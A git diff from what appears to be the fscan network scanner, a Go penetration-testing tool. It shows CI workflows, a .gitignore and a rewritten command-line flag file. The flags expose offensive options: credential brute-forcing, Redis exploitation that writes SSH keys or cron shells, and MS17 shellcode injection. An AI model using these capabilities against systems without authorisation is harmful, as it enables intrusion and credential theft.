||||||
|
echo "- 📥 [下载产物](https://github.com/${{ steps.project.outputs.owner }}/${{ steps.project.outputs.repo }}/actions/runs/${{ github.run_id }})" >> $GITHUB_STEP_SUMMARY
|
||||||
|
echo "- 🔍 [查看提交](https://github.com/${{ steps.project.outputs.owner }}/${{ steps.project.outputs.repo }}/commit/${{ steps.project.outputs.full_sha }})" >> $GITHUB_STEP_SUMMARY
|
||||||
|
echo "" >> $GITHUB_STEP_SUMMARY
|
||||||
|
|
||||||
|
echo "---" >> $GITHUB_STEP_SUMMARY
|
||||||
|
echo "*报告生成时间: $(date -u +"%Y-%m-%d %H:%M:%S UTC")*" >> $GITHUB_STEP_SUMMARY
|
||||||
|
|
||||||
|
- name: 📬 发送通知
|
||||||
|
if: always()
|
||||||
|
run: |
|
||||||
|
if [[ "${{ steps.build_step.outcome }}" == "success" ]]; then
|
||||||
|
echo "✅ 发布成功!版本 ${{ steps.project.outputs.version }} 已发布"
|
||||||
|
# 这里可以添加发送成功通知的逻辑(如 Slack、邮件等)
|
||||||
|
else
|
||||||
|
echo "❌ 发布失败!请检查构建日志"
|
||||||
|
# 这里可以添加发送失败通知的逻辑
|
||||||
|
fi
|
||||||
@@ -0,0 +1,229 @@
|
|||||||
|
name: 测试构建
|
||||||
|
|
||||||
|
on:
|
||||||
|
push:
|
||||||
|
branches:
|
||||||
|
- dev
|
||||||
|
- develop
|
||||||
|
- feature/*
|
||||||
|
pull_request:
|
||||||
|
branches:
|
||||||
|
- main
|
||||||
|
- master
|
||||||
|
- dev
|
||||||
|
workflow_dispatch:
|
||||||
|
inputs:
|
||||||
|
branch:
|
||||||
|
description: '测试分支'
|
||||||
|
required: false
|
||||||
|
default: 'dev'
|
||||||
|
|
||||||
|
permissions:
|
||||||
|
contents: read
|
||||||
|
|
||||||
|
jobs:
|
||||||
|
test-build:
|
||||||
|
name: 测试构建
|
||||||
|
runs-on: ubuntu-latest
|
||||||
|
timeout-minutes: 30
|
||||||
|
|
||||||
|
# 设置作业级别的环境变量
|
||||||
|
env:
|
||||||
|
GITHUB_OWNER: ${{ github.repository_owner }}
|
||||||
|
GITHUB_REPO: ${{ github.event.repository.name }}
|
||||||
|
PROJECT_NAME: ${{ github.event.repository.name }}
|
||||||
|
|
||||||
|
steps:
|
||||||
|
- name: 📥 检出代码
|
||||||
|
uses: actions/checkout@v4
|
||||||
|
with:
|
||||||
|
fetch-depth: 0
|
||||||
|
ref: ${{ github.event.inputs.branch || github.ref }}
|
||||||
|
|
||||||
|
- name: 🔍 获取项目信息
|
||||||
|
id: project
|
||||||
|
run: |
|
||||||
|
echo "owner=${GITHUB_REPOSITORY_OWNER}" >> $GITHUB_OUTPUT
|
||||||
|
echo "repo=${GITHUB_REPOSITORY#*/}" >> $GITHUB_OUTPUT
|
||||||
|
echo "branch=${GITHUB_REF#refs/heads/}" >> $GITHUB_OUTPUT
|
||||||
|
echo "short_sha=${GITHUB_SHA:0:7}" >> $GITHUB_OUTPUT
|
||||||
|
echo "full_sha=${GITHUB_SHA}" >> $GITHUB_OUTPUT
|
||||||
|
echo "build_date=$(date -u +"%Y-%m-%d %H:%M:%S UTC")" >> $GITHUB_OUTPUT
|
||||||
|
echo "timestamp=$(date +%s)" >> $GITHUB_OUTPUT
|
||||||
|
|
||||||
|
- name: 🐹 设置 Go 环境
|
||||||
|
uses: actions/setup-go@v5
|
||||||
|
with:
|
||||||
|
go-version: '1.20'
|
||||||
|
cache: true
|
||||||
|
|
||||||
|
- name: 📦 下载依赖
|
||||||
|
run: |
|
||||||
|
go mod download
|
||||||
|
go mod verify
|
||||||
|
|
||||||
|
- name: 🗜️ 安装 UPX 压缩工具
|
||||||
|
uses: crazy-max/ghaction-upx@v3
|
||||||
|
with:
|
||||||
|
install-only: true
|
||||||
|
|
||||||
|
- name: ℹ️ 显示构建环境信息
|
||||||
|
run: |
|
||||||
|
echo "Go 版本: $(go version)"
|
||||||
|
echo "UPX 版本: $(upx --version)"
|
||||||
|
echo "分支: ${{ steps.project.outputs.branch }}"
|
||||||
|
echo "提交: ${{ steps.project.outputs.short_sha }}"
|
||||||
|
echo "仓库: ${{ steps.project.outputs.owner }}/${{ steps.project.outputs.repo }}"
|
||||||
|
echo "构建时间: ${{ steps.project.outputs.build_date }}"
|
||||||
|
echo "环境变量:"
|
||||||
|
echo "- GITHUB_OWNER: $GITHUB_OWNER"
|
||||||
|
echo "- GITHUB_REPO: $GITHUB_REPO"
|
||||||
|
echo "- PROJECT_NAME: $PROJECT_NAME"
|
||||||
|
|
||||||
|
- name: 📊 记录构建开始时间
|
||||||
|
id: build_start
|
||||||
|
run: |
|
||||||
|
echo "start_time=$(date +%s)" >> $GITHUB_OUTPUT
|
||||||
|
echo "start_readable=$(date -u +"%Y-%m-%d %H:%M:%S UTC")" >> $GITHUB_OUTPUT
|
||||||
|
|
||||||
|
- name: 🚀 测试构建 (Snapshot 模式)
|
||||||
|
uses: goreleaser/goreleaser-action@v5
|
||||||
|
with:
|
||||||
|
distribution: goreleaser
|
||||||
|
version: latest
|
||||||
|
args: release --snapshot --clean -f .github/conf/.goreleaser.yml
|
||||||
|
workdir: .
|
||||||
|
env:
|
||||||
|
GITHUB_TOKEN: ${{ secrets.GITHUB_TOKEN }}
|
||||||
|
|
||||||
|
- name: 📊 记录构建结束时间
|
||||||
|
id: build_end
|
||||||
|
run: |
|
||||||
|
echo "end_time=$(date +%s)" >> $GITHUB_OUTPUT
|
||||||
|
echo "end_readable=$(date -u +"%Y-%m-%d %H:%M:%S UTC")" >> $GITHUB_OUTPUT
|
||||||
|
start_time=${{ steps.build_start.outputs.start_time }}
|
||||||
|
end_time=$(date +%s)
|
||||||
|
duration=$((end_time - start_time))
|
||||||
|
echo "duration=${duration}" >> $GITHUB_OUTPUT
|
||||||
|
echo "duration_readable=$(printf '%02d:%02d:%02d' $((duration/3600)) $((duration%3600/60)) $((duration%60)))" >> $GITHUB_OUTPUT
|
||||||
|
|
||||||
|
- name: 📋 上传测试产物
|
||||||
|
uses: actions/upload-artifact@v4
|
||||||
|
with:
|
||||||
|
name: 测试构建-${{ steps.project.outputs.branch }}-${{ steps.project.outputs.short_sha }}
|
||||||
|
path: |
|
||||||
|
dist/
|
||||||
|
retention-days: 7
|
||||||
|
|
||||||
|
- name: 📊 统计构建产物
|
||||||
|
id: build_stats
|
||||||
|
run: |
|
||||||
|
if [ -d "dist" ]; then
|
||||||
|
total_files=$(find dist/ -type f | wc -l)
|
||||||
|
executable_files=$(find dist/ -type f -executable | wc -l)
|
||||||
|
config_files=$(find dist/ -name "*.json" -o -name "*.yaml" -o -name "*.yml" -o -name "*.txt" | wc -l)
|
||||||
|
|
||||||
|
echo "total_files=$total_files" >> $GITHUB_OUTPUT
|
||||||
|
echo "executable_files=$executable_files" >> $GITHUB_OUTPUT
|
||||||
|
echo "config_files=$config_files" >> $GITHUB_OUTPUT
|
||||||
|
else
|
||||||
|
echo "total_files=0" >> $GITHUB_OUTPUT
|
||||||
|
echo "executable_files=0" >> $GITHUB_OUTPUT
|
||||||
|
echo "config_files=0" >> $GITHUB_OUTPUT
|
||||||
|
fi
|
||||||
|
|
||||||
|
- name: 📊 生成构建报告
|
||||||
|
if: always()
|
||||||
|
run: |
|
||||||
|
echo "# 🎯 测试构建报告" >> $GITHUB_STEP_SUMMARY
|
||||||
|
echo "" >> $GITHUB_STEP_SUMMARY
|
||||||
|
|
||||||
|
# 基本信息表格
|
||||||
|
echo "## 📋 构建基本信息" >> $GITHUB_STEP_SUMMARY
|
||||||
|
echo "" >> $GITHUB_STEP_SUMMARY
|
||||||
|
echo "| 项目 | 值 |" >> $GITHUB_STEP_SUMMARY
|
||||||
|
echo "|------|-----|" >> $GITHUB_STEP_SUMMARY
|
||||||
|
echo "| 🏷️ **项目名称** | ${{ steps.project.outputs.repo }} |" >> $GITHUB_STEP_SUMMARY
|
||||||
|
echo "| 👤 **拥有者** | ${{ steps.project.outputs.owner }} |" >> $GITHUB_STEP_SUMMARY
|
||||||
|
echo "| 🌿 **分支** | ${{ steps.project.outputs.branch }} |" >> $GITHUB_STEP_SUMMARY
|
||||||
|
echo "| 📝 **提交SHA** | \`${{ steps.project.outputs.short_sha }}\` |" >> $GITHUB_STEP_SUMMARY
|
||||||
|
echo "| 📅 **构建时间** | ${{ steps.project.outputs.build_date }} |" >> $GITHUB_STEP_SUMMARY
|
||||||
|
echo "| ⏱️ **构建耗时** | ${{ steps.build_end.outputs.duration_readable }} |" >> $GITHUB_STEP_SUMMARY
|
||||||
|
echo "| 🚀 **触发方式** | ${{ github.event_name }} |" >> $GITHUB_STEP_SUMMARY
|
||||||
|
echo "| 🔧 **Go版本** | $(go version | cut -d' ' -f3) |" >> $GITHUB_STEP_SUMMARY
|
||||||
|
echo "| 🗜️ **UPX版本** | $(upx --version | head -1 | cut -d' ' -f2) |" >> $GITHUB_STEP_SUMMARY
|
||||||
|
echo "" >> $GITHUB_STEP_SUMMARY
|
||||||
|
|
||||||
|
# 构建环境信息
|
||||||
|
echo "## 🖥️ 构建环境" >> $GITHUB_STEP_SUMMARY
|
||||||
|
echo "" >> $GITHUB_STEP_SUMMARY
|
||||||
|
echo "| 环境变量 | 值 |" >> $GITHUB_STEP_SUMMARY
|
||||||
|
echo "|----------|-----|" >> $GITHUB_STEP_SUMMARY
|
||||||
|
echo "| **GITHUB_OWNER** | $GITHUB_OWNER |" >> $GITHUB_STEP_SUMMARY
|
||||||
|
echo "| **GITHUB_REPO** | $GITHUB_REPO |" >> $GITHUB_STEP_SUMMARY
|
||||||
|
echo "| **PROJECT_NAME** | $PROJECT_NAME |" >> $GITHUB_STEP_SUMMARY
|
||||||
|
echo "| **RUNNER_OS** | $RUNNER_OS |" >> $GITHUB_STEP_SUMMARY
|
||||||
|
echo "| **RUNNER_ARCH** | $RUNNER_ARCH |" >> $GITHUB_STEP_SUMMARY
|
||||||
|
echo "" >> $GITHUB_STEP_SUMMARY
|
||||||
|
|
||||||
|
# 构建时间统计
|
||||||
|
echo "## ⏰ 构建时间统计" >> $GITHUB_STEP_SUMMARY
|
||||||
|
echo "" >> $GITHUB_STEP_SUMMARY
|
||||||
|
echo "| 阶段 | 时间 |" >> $GITHUB_STEP_SUMMARY
|
||||||
|
echo "|------|------|" >> $GITHUB_STEP_SUMMARY
|
||||||
|
echo "| 🚀 **开始时间** | ${{ steps.build_start.outputs.start_readable }} |" >> $GITHUB_STEP_SUMMARY
|
||||||
|
echo "| 🏁 **结束时间** | ${{ steps.build_end.outputs.end_readable }} |" >> $GITHUB_STEP_SUMMARY
|
||||||
|
echo "| ⏱️ **总耗时** | ${{ steps.build_end.outputs.duration_readable }} |" >> $GITHUB_STEP_SUMMARY
|
||||||
|
echo "" >> $GITHUB_STEP_SUMMARY
|
||||||
|
|
||||||
|
# 构建产物统计
|
||||||
|
if [ -d "dist" ]; then
|
||||||
|
echo "## 📦 构建产物统计" >> $GITHUB_STEP_SUMMARY
|
||||||
|
echo "" >> $GITHUB_STEP_SUMMARY
|
||||||
|
|
||||||
|
# 文件类型统计
|
||||||
|
echo "### 📊 文件类型统计" >> $GITHUB_STEP_SUMMARY
|
||||||
|
echo "" >> $GITHUB_STEP_SUMMARY
|
||||||
|
|
||||||
|
echo "| 文件类型 | 数量 |" >> $GITHUB_STEP_SUMMARY
|
||||||
|
echo "|----------|------|" >> $GITHUB_STEP_SUMMARY
|
||||||
|
echo "| 📁 **总文件数** | ${{ steps.build_stats.outputs.total_files }} |" >> $GITHUB_STEP_SUMMARY
|
||||||
|
echo "| 🔧 **可执行文件** | ${{ steps.build_stats.outputs.executable_files }} |" >> $GITHUB_STEP_SUMMARY
|
||||||
|
echo "| 📄 **配置文件** | ${{ steps.build_stats.outputs.config_files }} |" >> $GITHUB_STEP_SUMMARY
|
||||||
|
echo "" >> $GITHUB_STEP_SUMMARY
|
||||||
|
|
||||||
|
# 总产物大小
|
||||||
|
echo "### 📦 产物大小" >> $GITHUB_STEP_SUMMARY
|
||||||
|
echo "" >> $GITHUB_STEP_SUMMARY
|
||||||
|
|
||||||
|
total_size=$(du -sh dist/ 2>/dev/null | cut -f1 || echo "未知")
|
||||||
|
echo "**总产物大小**: $total_size" >> $GITHUB_STEP_SUMMARY
|
||||||
|
echo "" >> $GITHUB_STEP_SUMMARY
|
||||||
|
fi
|
||||||
|
|
||||||
|
# 总结
|
||||||
|
echo "## 📈 构建总结" >> $GITHUB_STEP_SUMMARY
|
||||||
|
echo "" >> $GITHUB_STEP_SUMMARY
|
||||||
|
|
||||||
|
if [ "${{ job.status }}" == "success" ]; then
|
||||||
|
echo "🎉 **构建状态**: ✅ 成功" >> $GITHUB_STEP_SUMMARY
|
||||||
|
else
|
||||||
|
echo "🎉 **构建状态**: ❌ 失败" >> $GITHUB_STEP_SUMMARY
|
||||||
|
fi
|
||||||
|
|
||||||
|
echo "📊 **可执行文件**: ${{ steps.build_stats.outputs.executable_files }} 个" >> $GITHUB_STEP_SUMMARY
|
||||||
|
echo "⏱️ **构建耗时**: ${{ steps.build_end.outputs.duration_readable }}" >> $GITHUB_STEP_SUMMARY
|
||||||
|
echo "📦 **产物大小**: $(du -sh dist/ 2>/dev/null | cut -f1 || echo "未知")" >> $GITHUB_STEP_SUMMARY
|
||||||
|
echo "" >> $GITHUB_STEP_SUMMARY
|
||||||
|
|
||||||
|
# 添加快速链接
|
||||||
|
echo "## 🔗 快速链接" >> $GITHUB_STEP_SUMMARY
|
||||||
|
echo "" >> $GITHUB_STEP_SUMMARY
|
||||||
|
echo "- 📋 [查看产物列表](https://github.com/${{ steps.project.outputs.owner }}/${{ steps.project.outputs.repo }}/actions/runs/${{ github.run_id }})" >> $GITHUB_STEP_SUMMARY
|
||||||
|
echo "- 📥 [下载产物](https://github.com/${{ steps.project.outputs.owner }}/${{ steps.project.outputs.repo }}/actions/runs/${{ github.run_id }})" >> $GITHUB_STEP_SUMMARY
|
||||||
|
echo "- 🔍 [查看提交](https://github.com/${{ steps.project.outputs.owner }}/${{ steps.project.outputs.repo }}/commit/${{ steps.project.outputs.full_sha }})" >> $GITHUB_STEP_SUMMARY
|
||||||
|
echo "- 🌿 [查看分支](https://github.com/${{ steps.project.outputs.owner }}/${{ steps.project.outputs.repo }}/tree/${{ steps.project.outputs.branch }})" >> $GITHUB_STEP_SUMMARY
|
||||||
|
echo "" >> $GITHUB_STEP_SUMMARY
|
||||||
|
|
||||||
|
echo "---" >> $GITHUB_STEP_SUMMARY
|
||||||
|
echo "*报告生成时间: $(date -u +"%Y-%m-%d %H:%M:%S UTC")*" >> $GITHUB_STEP_SUMMARY
|
||||||
+61
@@ -1,3 +1,64 @@
|
|||||||
result.txt
|
result.txt
|
||||||
main
|
main
|
||||||
.idea
|
.idea
|
||||||
|
fscan.exe
|
||||||
|
fscan
|
||||||
|
makefile
|
||||||
|
fscanapi.csv
|
||||||
|
|
||||||
|
# IDE files / IDE 文件
|
||||||
|
.vscode/
|
||||||
|
.cursor/
|
||||||
|
.cursorrules
|
||||||
|
.claude/
|
||||||
|
|
||||||
|
# Local development files / 本地开发文件
|
||||||
|
*.local
|
||||||
|
*.tmp
|
||||||
|
*.temp
|
||||||
|
.env
|
||||||
|
.env.local
|
||||||
|
.env.development
|
||||||
|
.env.test
|
||||||
|
.env.production
|
||||||
|
|
||||||
|
# OS files / 操作系统文件
|
||||||
|
.DS_Store
|
||||||
|
.DS_Store?
|
||||||
|
._*
|
||||||
|
.Spotlight-V100
|
||||||
|
.Trashes
|
||||||
|
ehthumbs.db
|
||||||
|
Thumbs.db
|
||||||
|
desktop.ini
|
||||||
|
|
||||||
|
# Logs / 日志文件
|
||||||
|
*.log
|
||||||
|
logs/
|
||||||
|
log/
|
||||||
|
|
||||||
|
# Test coverage / 测试覆盖率
|
||||||
|
coverage.txt
|
||||||
|
coverage.html
|
||||||
|
*.cover
|
||||||
|
|
||||||
|
# Build artifacts / 构建产物
|
||||||
|
dist/
|
||||||
|
build/
|
||||||
|
bin/
|
||||||
|
*.exe
|
||||||
|
*.dll
|
||||||
|
*.so
|
||||||
|
*.dylib
|
||||||
|
|
||||||
|
# Go specific / Go 相关
|
||||||
|
vendor/
|
||||||
|
*.test
|
||||||
|
*.prof
|
||||||
|
*.mem
|
||||||
|
*.cpu
|
||||||
|
__debug_bin*
|
||||||
|
|
||||||
|
# Local development tools / 本地开发工具
|
||||||
|
.air.toml
|
||||||
|
air_tmp/
|
||||||
|
|||||||
+943
-81
File diff suppressed because it is too large
Load Diff
+196
-69
@@ -2,92 +2,219 @@ package Common
|
|||||||
|
|
||||||
import (
|
import (
|
||||||
"flag"
|
"flag"
|
||||||
|
"fmt"
|
||||||
|
"os"
|
||||||
|
"strings"
|
||||||
|
|
||||||
|
"github.com/fatih/color"
|
||||||
)
|
)
|
||||||
|
|
||||||
func Banner() {
|
func Banner() {
|
||||||
banner := `
|
// 定义暗绿色系
|
||||||
___ _
|
colors := []color.Attribute{
|
||||||
/ _ \ ___ ___ _ __ __ _ ___| | __
|
color.FgGreen, // 基础绿
|
||||||
/ /_\/____/ __|/ __| '__/ _` + "`" + ` |/ __| |/ /
|
color.FgHiGreen, // 亮绿
|
||||||
/ /_\\_____\__ \ (__| | | (_| | (__| <
|
}
|
||||||
\____/ |___/\___|_| \__,_|\___|_|\_\
|
|
||||||
fscan version: ` + version + `
|
lines := []string{
|
||||||
`
|
" ___ _ ",
|
||||||
print(banner)
|
" / _ \\ ___ ___ _ __ __ _ ___| | __ ",
|
||||||
|
" / /_\\/____/ __|/ __| '__/ _` |/ __| |/ /",
|
||||||
|
"/ /_\\\\_____\\__ \\ (__| | | (_| | (__| < ",
|
||||||
|
"\\____/ |___/\\___|_| \\__,_|\\___|_|\\_\\ ",
|
||||||
|
}
|
||||||
|
|
||||||
|
// 获取最长行的长度
|
||||||
|
maxLength := 0
|
||||||
|
for _, line := range lines {
|
||||||
|
if len(line) > maxLength {
|
||||||
|
maxLength = len(line)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
// 创建边框
|
||||||
|
topBorder := "┌" + strings.Repeat("─", maxLength+2) + "┐"
|
||||||
|
bottomBorder := "└" + strings.Repeat("─", maxLength+2) + "┘"
|
||||||
|
|
||||||
|
// 打印banner
|
||||||
|
fmt.Println(topBorder)
|
||||||
|
|
||||||
|
for lineNum, line := range lines {
|
||||||
|
fmt.Print("│ ")
|
||||||
|
// 使用对应的颜色打印每个字符
|
||||||
|
c := color.New(colors[lineNum%2])
|
||||||
|
c.Print(line)
|
||||||
|
// 补齐空格
|
||||||
|
padding := maxLength - len(line)
|
||||||
|
fmt.Printf("%s │\n", strings.Repeat(" ", padding))
|
||||||
|
}
|
||||||
|
|
||||||
|
fmt.Println(bottomBorder)
|
||||||
|
|
||||||
|
// 打印版本信息
|
||||||
|
c := color.New(colors[1])
|
||||||
|
c.Printf(" Fscan Version: %s\n\n", version)
|
||||||
}
|
}
|
||||||
|
|
||||||
|
// Flag 解析命令行参数并配置扫描选项
|
||||||
func Flag(Info *HostInfo) {
|
func Flag(Info *HostInfo) {
|
||||||
Banner()
|
Banner()
|
||||||
|
|
||||||
// 目标配置
|
// ═════════════════════════════════════════════════
|
||||||
flag.StringVar(&Info.Host, "h", "", "目标主机IP,例如: 192.168.11.11 | 192.168.11.11-255 | 192.168.11.11,192.168.11.12")
|
// 目标配置参数
|
||||||
flag.StringVar(&NoHosts, "hn", "", "排除的主机范围,例如: -hn 192.168.1.1/24")
|
// ═════════════════════════════════════════════════
|
||||||
flag.StringVar(&Ports, "p", DefaultPorts, "端口配置,例如: 22 | 1-65535 | 22,80,3306")
|
flag.StringVar(&Info.Host, "h", "", GetText("flag_host"))
|
||||||
flag.StringVar(&PortAdd, "pa", "", "在默认端口基础上添加端口,-pa 3389")
|
flag.StringVar(&ExcludeHosts, "eh", "", GetText("flag_exclude_hosts"))
|
||||||
flag.StringVar(&NoPorts, "pn", "", "排除的端口,例如: -pn 445")
|
flag.StringVar(&Ports, "p", MainPorts, GetText("flag_ports"))
|
||||||
|
flag.StringVar(&ExcludePorts, "ep", "", GetText("flag_exclude_ports"))
|
||||||
|
flag.StringVar(&HostsFile, "hf", "", GetText("flag_hosts_file"))
|
||||||
|
flag.StringVar(&PortsFile, "pf", "", GetText("flag_ports_file"))
|
||||||
|
|
||||||
// 认证配置
|
// ═════════════════════════════════════════════════
|
||||||
flag.StringVar(&UserAdd, "usera", "", "在默认用户列表基础上添加用户,-usera user")
|
// 扫描控制参数
|
||||||
flag.StringVar(&PassAdd, "pwda", "", "在默认密码列表基础上添加密码,-pwda password")
|
// ═════════════════════════════════════════════════
|
||||||
flag.StringVar(&Username, "user", "", "用户名")
|
flag.StringVar(&ScanMode, "m", "all", GetText("flag_scan_mode"))
|
||||||
flag.StringVar(&Password, "pwd", "", "密码")
|
flag.IntVar(&ThreadNum, "t", 600, GetText("flag_thread_num"))
|
||||||
flag.StringVar(&Domain, "domain", "", "域名(用于SMB)")
|
flag.Int64Var(&Timeout, "time", 3, GetText("flag_timeout"))
|
||||||
flag.StringVar(&SshKey, "sshkey", "", "SSH密钥文件(id_rsa)")
|
flag.IntVar(&ModuleThreadNum, "mt", 10, GetText("flag_module_thread_num"))
|
||||||
|
flag.Int64Var(&GlobalTimeout, "gt", 180, GetText("flag_global_timeout"))
|
||||||
|
flag.IntVar(&LiveTop, "top", 10, GetText("flag_live_top"))
|
||||||
|
flag.BoolVar(&DisablePing, "np", false, GetText("flag_disable_ping"))
|
||||||
|
flag.BoolVar(&UsePing, "ping", false, GetText("flag_use_ping"))
|
||||||
|
flag.BoolVar(&EnableFingerprint, "fingerprint", false, GetText("flag_enable_fingerprint"))
|
||||||
|
flag.BoolVar(&LocalMode, "local", false, GetText("flag_local_mode"))
|
||||||
|
|
||||||
// 扫描配置
|
// ═════════════════════════════════════════════════
|
||||||
flag.StringVar(&Scantype, "m", "all", "扫描类型,例如: -m ssh")
|
// 认证与凭据参数
|
||||||
flag.IntVar(&Threads, "t", 600, "线程数量")
|
// ═════════════════════════════════════════════════
|
||||||
flag.Int64Var(&Timeout, "time", 3, "超时时间(秒)")
|
flag.StringVar(&Username, "user", "", GetText("flag_username"))
|
||||||
flag.IntVar(&LiveTop, "top", 10, "显示存活主机数量")
|
flag.StringVar(&Password, "pwd", "", GetText("flag_password"))
|
||||||
flag.BoolVar(&NoPing, "np", false, "禁用存活探测")
|
flag.StringVar(&AddUsers, "usera", "", GetText("flag_add_users"))
|
||||||
flag.BoolVar(&Ping, "ping", false, "使用ping替代ICMP")
|
flag.StringVar(&AddPasswords, "pwda", "", GetText("flag_add_passwords"))
|
||||||
flag.StringVar(&Command, "c", "", "执行命令(支持ssh|wmiexec)")
|
flag.StringVar(&UsersFile, "userf", "", GetText("flag_users_file"))
|
||||||
|
flag.StringVar(&PasswordsFile, "pwdf", "", GetText("flag_passwords_file"))
|
||||||
|
flag.StringVar(&HashFile, "hashf", "", GetText("flag_hash_file"))
|
||||||
|
flag.StringVar(&HashValue, "hash", "", GetText("flag_hash_value"))
|
||||||
|
flag.StringVar(&Domain, "domain", "", GetText("flag_domain")) // SMB扫描用
|
||||||
|
flag.StringVar(&SshKeyPath, "sshkey", "", GetText("flag_ssh_key")) // SSH扫描用
|
||||||
|
|
||||||
// 文件配置
|
// ═════════════════════════════════════════════════
|
||||||
flag.StringVar(&HostFile, "hf", "", "主机列表文件")
|
// Web扫描参数
|
||||||
flag.StringVar(&Userfile, "userf", "", "用户名字典")
|
// ═════════════════════════════════════════════════
|
||||||
flag.StringVar(&Passfile, "pwdf", "", "密码字典")
|
flag.StringVar(&TargetURL, "u", "", GetText("flag_target_url"))
|
||||||
flag.StringVar(&Hashfile, "hashf", "", "Hash字典")
|
flag.StringVar(&URLsFile, "uf", "", GetText("flag_urls_file"))
|
||||||
flag.StringVar(&PortFile, "portf", "", "端口列表文件")
|
flag.StringVar(&Cookie, "cookie", "", GetText("flag_cookie"))
|
||||||
|
flag.Int64Var(&WebTimeout, "wt", 5, GetText("flag_web_timeout"))
|
||||||
|
flag.StringVar(&HttpProxy, "proxy", "", GetText("flag_http_proxy"))
|
||||||
|
flag.StringVar(&Socks5Proxy, "socks5", "", GetText("flag_socks5_proxy"))
|
||||||
|
|
||||||
// Web配置
|
// ═════════════════════════════════════════════════
|
||||||
flag.StringVar(&URL, "u", "", "目标URL")
|
// POC测试参数
|
||||||
flag.StringVar(&UrlFile, "uf", "", "URL列表文件")
|
// ═════════════════════════════════════════════════
|
||||||
flag.StringVar(&Cookie, "cookie", "", "设置Cookie")
|
flag.StringVar(&PocPath, "pocpath", "", GetText("flag_poc_path"))
|
||||||
flag.Int64Var(&WebTimeout, "wt", 5, "Web请求超时时间")
|
flag.StringVar(&Pocinfo.PocName, "pocname", "", GetText("flag_poc_name"))
|
||||||
flag.StringVar(&Proxy, "proxy", "", "设置HTTP代理")
|
flag.BoolVar(&PocFull, "full", false, GetText("flag_poc_full"))
|
||||||
flag.StringVar(&Socks5Proxy, "socks5", "", "设置Socks5代理(将用于TCP连接,超时设置将失效)")
|
flag.BoolVar(&DnsLog, "dns", false, GetText("flag_dns_log"))
|
||||||
|
flag.IntVar(&PocNum, "num", 20, GetText("flag_poc_num"))
|
||||||
|
flag.BoolVar(&DisablePocScan, "nopoc", false, GetText("flag_no_poc"))
|
||||||
|
|
||||||
// POC配置
|
// ═════════════════════════════════════════════════
|
||||||
flag.StringVar(&PocPath, "pocpath", "", "POC文件路径")
|
// Redis利用参数
|
||||||
flag.StringVar(&Pocinfo.PocName, "pocname", "", "使用包含指定名称的POC,例如: -pocname weblogic")
|
// ═════════════════════════════════════════════════
|
||||||
flag.BoolVar(&NoPoc, "nopoc", false, "禁用Web漏洞扫描")
|
flag.StringVar(&RedisFile, "rf", "", GetText("flag_redis_file"))
|
||||||
flag.BoolVar(&PocFull, "full", false, "完整POC扫描,如:shiro 100个key")
|
flag.StringVar(&RedisShell, "rs", "", GetText("flag_redis_shell"))
|
||||||
flag.BoolVar(&DnsLog, "dns", false, "启用dnslog验证")
|
flag.BoolVar(&DisableRedis, "noredis", false, GetText("flag_disable_redis"))
|
||||||
flag.IntVar(&PocNum, "num", 20, "POC并发数")
|
flag.StringVar(&RedisWritePath, "rwp", "", GetText("flag_redis_write_path"))
|
||||||
|
flag.StringVar(&RedisWriteContent, "rwc", "", GetText("flag_redis_write_content"))
|
||||||
|
flag.StringVar(&RedisWriteFile, "rwf", "", GetText("flag_redis_write_file"))
|
||||||
|
|
||||||
// Redis利用配置
|
// ═════════════════════════════════════════════════
|
||||||
flag.StringVar(&RedisFile, "rf", "", "Redis写入SSH公钥文件")
|
// 暴力破解控制参数
|
||||||
flag.StringVar(&RedisShell, "rs", "", "Redis写入计划任务")
|
// ═════════════════════════════════════════════════
|
||||||
flag.BoolVar(&Noredistest, "noredis", false, "禁用Redis安全检测")
|
flag.BoolVar(&DisableBrute, "nobr", false, GetText("flag_disable_brute"))
|
||||||
|
flag.IntVar(&MaxRetries, "retry", 3, GetText("flag_max_retries"))
|
||||||
|
|
||||||
// 暴力破解配置
|
// ═════════════════════════════════════════════════
|
||||||
flag.BoolVar(&IsBrute, "nobr", false, "禁用密码爆破")
|
// 输出与显示控制参数
|
||||||
flag.IntVar(&BruteThread, "br", 1, "密码爆破线程数")
|
// ═════════════════════════════════════════════════
|
||||||
|
flag.StringVar(&Outputfile, "o", "result.txt", GetText("flag_output_file"))
|
||||||
|
flag.StringVar(&OutputFormat, "f", "txt", GetText("flag_output_format"))
|
||||||
|
flag.BoolVar(&DisableSave, "no", false, GetText("flag_disable_save"))
|
||||||
|
flag.BoolVar(&Silent, "silent", false, GetText("flag_silent_mode"))
|
||||||
|
flag.BoolVar(&NoColor, "nocolor", false, GetText("flag_no_color"))
|
||||||
|
flag.StringVar(&LogLevel, "log", LogLevelSuccess, GetText("flag_log_level"))
|
||||||
|
flag.BoolVar(&ShowProgress, "pg", false, GetText("flag_show_progress"))
|
||||||
|
flag.BoolVar(&ShowScanPlan, "sp", false, GetText("flag_show_scan_plan"))
|
||||||
|
flag.BoolVar(&SlowLogOutput, "slow", false, GetText("flag_slow_log_output"))
|
||||||
|
|
||||||
// 其他配置
|
// ═════════════════════════════════════════════════
|
||||||
flag.StringVar(&Path, "path", "", "FCG/SMB远程文件路径")
|
// 其他参数
|
||||||
flag.StringVar(&Hash, "hash", "", "Hash值")
|
// ═════════════════════════════════════════════════
|
||||||
flag.StringVar(&SC, "sc", "", "MS17漏洞shellcode")
|
flag.StringVar(&Shellcode, "sc", "", GetText("flag_shellcode"))
|
||||||
flag.BoolVar(&IsWmi, "wmi", false, "启用WMI")
|
flag.StringVar(&Language, "lang", "zh", GetText("flag_language"))
|
||||||
|
|
||||||
// 输出配置
|
// 解析命令行参数
|
||||||
flag.StringVar(&Outputfile, "o", "result.txt", "结果输出文件")
|
parseCommandLineArgs()
|
||||||
flag.BoolVar(&TmpSave, "no", false, "禁用结果保存")
|
|
||||||
flag.BoolVar(&Silent, "silent", false, "静默扫描模式")
|
|
||||||
flag.BoolVar(&Nocolor, "nocolor", false, "禁用彩色输出")
|
|
||||||
flag.BoolVar(&JsonOutput, "json", false, "JSON格式输出")
|
|
||||||
flag.Int64Var(&WaitTime, "debug", 60, "错误日志输出间隔")
|
|
||||||
|
|
||||||
|
// 设置语言
|
||||||
|
SetLanguage()
|
||||||
|
}
|
||||||
|
|
||||||
|
// parseCommandLineArgs 处理来自环境变量和命令行的参数
|
||||||
|
func parseCommandLineArgs() {
|
||||||
|
// 首先检查环境变量中的参数
|
||||||
|
envArgsString := os.Getenv("FS_ARGS")
|
||||||
|
if envArgsString != "" {
|
||||||
|
// 解析环境变量参数 (跨平台支持)
|
||||||
